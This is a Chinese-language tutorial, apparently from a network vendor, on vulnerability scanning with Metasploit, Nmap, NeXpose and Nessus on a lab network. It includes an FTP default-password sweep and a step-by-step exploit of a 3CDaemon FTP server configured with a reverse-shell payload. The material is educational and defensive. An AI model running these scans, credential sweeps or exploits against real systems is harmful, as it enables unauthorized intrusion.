一 漏洞及漏洞發掘方法
漏洞,是指在硬件、軟件、協議實現或系統安全策略上存在缺陷,攻擊者能夠在未授權的情況下對系統進行訪問或破壞。它會成為入侵者侵入系統和植入惡意軟件的入口,影響系統用戶的切身利益。漏洞與目標系統的操作系統版本、軟件版本以及服務設置密切相關。研究漏洞必須要了解當前計算機系統及其安全問題的最新發展動態。常見的漏洞包括緩沖區溢出漏洞、跨站腳本漏洞(XSS)、SQL注入漏洞、數據庫漏洞以及WEB應用漏洞等。
常見的漏洞發掘方法分為以下幾種。
m? 黑盒攻擊(Fuzzing):即通過注入數據進行自動化測試。
m? 獲取攻擊對象的源代碼進行審計:網絡上有很多源代碼審計工具可供使用,如Fortify。
m? 反匯編審計:如果無法獲取到源代碼,可以基于匯編碼進行反匯編審計。IDA是一款常用的反匯編軟件。
m? 動態跟蹤分析:通過記錄程序在不同條件下執行操作(如文件操作),分析這些操作序列是否存在問題。
m? 補丁比較:廠商軟件的問題通常都會在補丁中解決,如微軟的Windows操作系統會不定期發布補丁程序,通過對比補丁前后文件的源碼(或反匯編碼)就能了解漏洞的具體細節。
目前,針對常用的漏洞發掘方法已經開發出了很多漏洞掃描工具。漏洞掃描工具是一種能在計算機、信息系統、網絡及應用軟件中查找安全弱點的程序。通過對目標系統進行探測,向目標系統發送數據,并將反饋結果與漏洞特征庫進行匹配,分析出目標系統上存在的安全漏洞。比較常用的漏洞掃描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。
二?Metasploit Framework工具簡介
Metasploit Framework是一個強大的開源平臺,為滲透測試、shellcode 編寫和漏洞研究提供了一個可靠環境。它集成了各種常見的溢出漏洞和shellcode ,并且不斷更新。當前版本收集了上千個實用的溢出攻擊程序及一些輔助工具,操作簡單,易用性好。當然,它不只是一個簡單的收集工具,還提供了所有的類和方法,以便開發人員使用這些代碼方便快速的進行二次開發。漏洞掃描只是Metasploit Framewotk眾多功能中的一種,本文只介紹它的漏洞掃描功能。
Metasploit Framework的總體架構如圖1所示,它包含Exploit、Auxiliary、Payload等多個模塊:
m? Exploit是攻擊模塊,基本上目前所有的操作系統在Metasploit Framework上均有對應的攻擊模塊;
m? Auxiliary是輔助模塊,用途非常廣泛,它可以作為掃描器、拒絕服務攻擊工具、Fuzz測試器,以及其他類型的工具;
m? Payload是在目標系統被攻陷之后執行的代碼,如添加用戶賬號,獲取shell交互權限等;
圖1?Metasploit Framework整體架構
三?Metasploit的幾種漏洞掃描組件
1??????Nmap
Nmap適用于Winodws、Linux、Mac等操作系統。它用于主機發現、端口發現或枚舉、服務發現,檢測操作系統、硬件地址、軟件版本以及脆弱性的漏洞。Metasploit Framework平臺集成了Nmap組件。通常在對目標系統發起攻擊之前需要進行一些必要的信息收集,如獲取網絡中的活動主機、主機開放的端口等。
Nmap掃描存活主機及主機運行的服務:
nmap -P0 192.168.20.1-10,掃描結果顯示網絡中活動的主機有7臺,且列舉出了每臺主機運行的服務及主機MAC地址。
msf > nmap -P0 192.168.20.1-10
[*] exec: nmap -P0 192.168.20.1-10
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????
Nmap scan report for 192.168.20.1
Host is up (0.00014s latency).
Not shown: 995 closed ports
PORT????? STATE??? SERVICE
23/tcp??? open???? telnet
80/tcp??? open???? http
MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)
……
Nmap scan report for 192.168.20.4
Host is up (0.0098s latency).
Not shown: 986 closed ports
PORT????? STATE SERVICE
21/tcp??? open? ftp
80/tcp??? open? http
135/tcp?? open? msrpc
443/tcp?? open? https
445/tcp?? open? microsoft-ds
902/tcp?? open? iss-realsecure
912/tcp?? open? apex-mesh
3389/tcp? open? ms-wbt-server
MAC Address: 68:05:CA:0E:BF:59 (Intel)
……
Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds
msf >
Nmap掃描操作系統和服務軟件版本信息:
msf > nmap -A -T4 192.168.20.4,Nmap顯示的掃描結果相當詳細,列出了目標服務器192.168.20.4上運行的操作系統是微軟的Windows 7或者Windows 2008,提供FTP服務的軟件是3Com 3CDaemon FTP Server,版本號為2.0,并且使用匿名賬號anonymous可以登陸成功。
msf > nmap -A -T4 192.168.20.4
[*] exec: nmap -A -T4 192.168.20.4
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????
Nmap scan report for 192.168.20.4
Host is up (0.0074s latency).
Not shown: 986 closed ports
PORT????? STATE SERVICE???????? VERSION
21/tcp??? open? ftp???????????? 3Com 3CDaemon ftpd 2.0
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-bounce: bounce working!
80/tcp??? open? http??????????? HttpFileServer httpd 1.5g
|_http-title: JAX SERVER- /
135/tcp?? open? msrpc?????????? Microsoft Windows RPC
443/tcp?? open? ssl/http??????? VMware VirtualCenter Web service
445/tcp?? open? netbios-ssn
902/tcp?? open? ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp?? open? vmware-auth???? VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
3389/tcp? open? ms-wbt-server?? Microsoft Terminal Service
MAC Address: 68:05:CA:0E:BF:59 (Intel)
Device type: general purpose
Running: Microsoft Windows 7|2008
TRACEROUTE
HOP RTT???? ADDRESS
1?? 7.38 ms 192.168.20.4
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds
msf >
2??????NeXpose
NeXpose通過掃描網絡,可以查找出網絡上正在運行的設備,并識別出設備的操作系統和應用程序的漏洞,并對掃描出的數據進行分析和處理,生成漏洞掃描報告。
首先,如圖2所示,在Metasploit Framework中加載NeXpose插件:
圖2?加載NeX
pose插件
使用nexpose_scan命令對目標主機進行漏洞掃描:
msf > nexpose_scan 192.168.20.4
[*]Scanning 1 address with template pentest-audit in sets of 32
[*]Completed the scan of 1 address
msf >
查看漏洞掃描結果,掃描程序發現了7個漏洞:
msf > db_hosts –c address
Hosts
=====
address ??????Svcs?????? Vulns??????? Workspace
-------?????? ----?????? -----??????? ---------
192.168.20.4? 8????????? 7???????????? default
msf>
輸入db_vulns可以顯示已發現漏洞的詳細情況:
msf > db_vulns
[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299
……
For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating
msf >
3??????Nessus
Nessus是當前使用最廣泛的漏洞掃描工具之一。Nessus采用client/sever模式,服務器端負責進行安全檢查,客戶端用來配置管理服務器端。在服務端還采用了plug-in的體系,允許用戶加入執行特定功能的插件,這插件可以進行更快速和更復雜的安全檢查。
如圖3所示,在Metasploit Framework中加載Nessus插件:
圖3????加載Nessus插件
創建掃描任務:
msf > nessus_scan_new 2 test_scan 192.168.20.4
[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4
[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb
msf>
查看掃描運行狀態,“No Scans Running”表示掃描已完成:
msf > db_hosts –c address
[*] No Scans Running
msf>
查看掃描結果,掃描程序發現345個漏洞:
msf > db_hosts –c address,svcs,vulns
Hosts
=====
address ??????Svcs?????? Vulns
-------?????? ----?????? -----
192.168.20.4? 18???????? 345
msf>
從掃描結果可以看出,對同一個目標主機進行掃描,Nessus掃描出的漏洞數量與NeXpose掃描出的數量有明顯的差異。通過對不同工具的掃描結果進行對比分析,對了解掃描工具本身,和更精確地確定目標系統存在的漏洞都是非常有幫助的。
4??????Metasploit的專用FTP掃描器
除了集成的掃描工具,Metasploit自帶的輔助模塊,可以針對網絡中特定的漏洞進行掃描。下面以FTP掃描為例,介紹Metasploit自帶掃描器的使用方法。
選擇ftp_login模塊,掃描網段192.168.20.1-10中能使用固定用戶名和密碼root/123456登陸主機:
msf > use auxiliary/scanner/ftp/ftp_login
msf? auxiliary(ftp_login) > set USERNAME root
USERNAME => root
msf? auxiliary(ftp_login) > set PASSWORD 123456
PASSWORD => 123456
msf? auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10
RHOSTS => 192.168.20.1-10
msf? auxiliary(ftp_login) > run
[*] 192.168.20.1:21 - Starting FTP login sweep
[*] Connecting to FTP server 192.168.20.1:21...
……
[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'
[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.1:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.4:21...
[*] Connected to target FTP server.
[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.4:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.6:21...
[*] Connected to target FTP server.
[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.6:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.9:21...
[*] Connected to target FTP server.
[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.9:21 - User 'root' has READ/WRITE access
[*] Scanned 10 of 10 hosts (100% complete)
[*] Auxiliary module execution completed
查看輸出結果,10個IP中有4臺FTP Server均能使用root/123456賬號登陸,并且含有讀寫權限。通常在公司內網里,很多人習慣使用簡單的賬號,沒有足夠的安全意識,當攻擊者成功入侵內網后,這些工作站將非常危險。
四Metasploit的一個攻擊實例
漏洞掃描僅僅是Metasploit Framework強大功能的冰山一角,下面簡單說明一下Metasploit執行一次攻擊測試的方法。利用上面Nmap的掃描結果,選取192.168.20.4上所運行的3Com 3CDaemon FTP Server為攻擊目標。通過前面的掃描可以得到目標主機運行的操作系統及應用程序版本的詳細信息,如圖4所示,在Metasploit Framework里搜索針對3CDaemon的攻擊腳本:
圖4??搜索針對3CDaemon的攻擊腳本
use命令進入搜索到的exploit:
msf > use exploit/windows/ftp/3cdaemon_ftp_user
msf? exploit(3cdaemon_ftp_user) >
Set RHOST命令設置攻擊目標機的IP地址:
msf? exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4
RHOST => 192.168.20.4
Set target命令設置目標機的操作系統類型:
msf? exploit(3cdaemon_ftp_user) > set target 4
target => 4
設置完成之后,?show options顯示設置好的參數信息:
msf? exploit(3cdaemon_ftp_user) > show options
Module options (exploit/windows/ftp/3cdaemon_ftp_user):
Name???? Current Setting????? Required? Description
----???? ---------------????? --------? -----------
FTPPASS? mozilla@example.com? no??????? The password for the specified username
FTPUSER? anonymous??????????? ??no??????? The username to authenticate as
RHOST??? 192.168.20.4???????? ?yes?????? ?The target address
RPORT??? 21????????????????? ????yes????? ??The target port
Payload options (windows/shell_reverse_tcp):
Name????? Current Setting? Required? Description
----????? ---------------? --------? -----------
EXITFUNC? seh????????????? ??yes?????? Exit technique: seh, thread, process, none
LHOST???? 192.168.20.67?? ??yes?????? The listen address
LPORT???? 4444??????????? ????yes?????? The listen port
Exploit target:
Id? Name
--? ----
4?? Windows XP English SP3
輸入exploit命令,開始攻擊:
msf? exploit(3cdaemon_ftp_user) > exploit
[*] Started reverse handler on 192.168.20.67:4444
[*] Trying target Windows XP English SP3...
msf? exploit(3cdaemon_ftp_user) >
如圖5所示查看目標機3CDaemon FTP軟件顯示崩潰,攻擊成功!
圖5??3CDaemon FTP崩潰
分析抓包結果,可以看出該FTP攻擊腳本是利用超長用戶名(如圖6所示)導致FTP Server崩潰的。
圖6???抓包結果
五 結束語
避免黑客攻擊,部署專門的漏洞檢測防御系統是非常必要的。Metasploit提供了豐富的掃描功能、攻擊腳本及二次開發的平臺,使網絡安全漏洞檢測變得相對容易。H3C的IPS(Intrusion Prevention System)采用系統的防御方法,結合智能的規則識別技術可以對各種漏洞攻擊進行有效的防御。為應對技術的更新,H3C攻防團隊會主動關注網絡上新的攻擊方式,并將分析結果及時添加到IPS特征庫中供客戶升級使用。對于系統維護者來說,積極主動的查找漏洞并打上相應補丁,同時結合專業的防御設備進行入侵防御,毫無疑問是維護系統安全的最佳方法。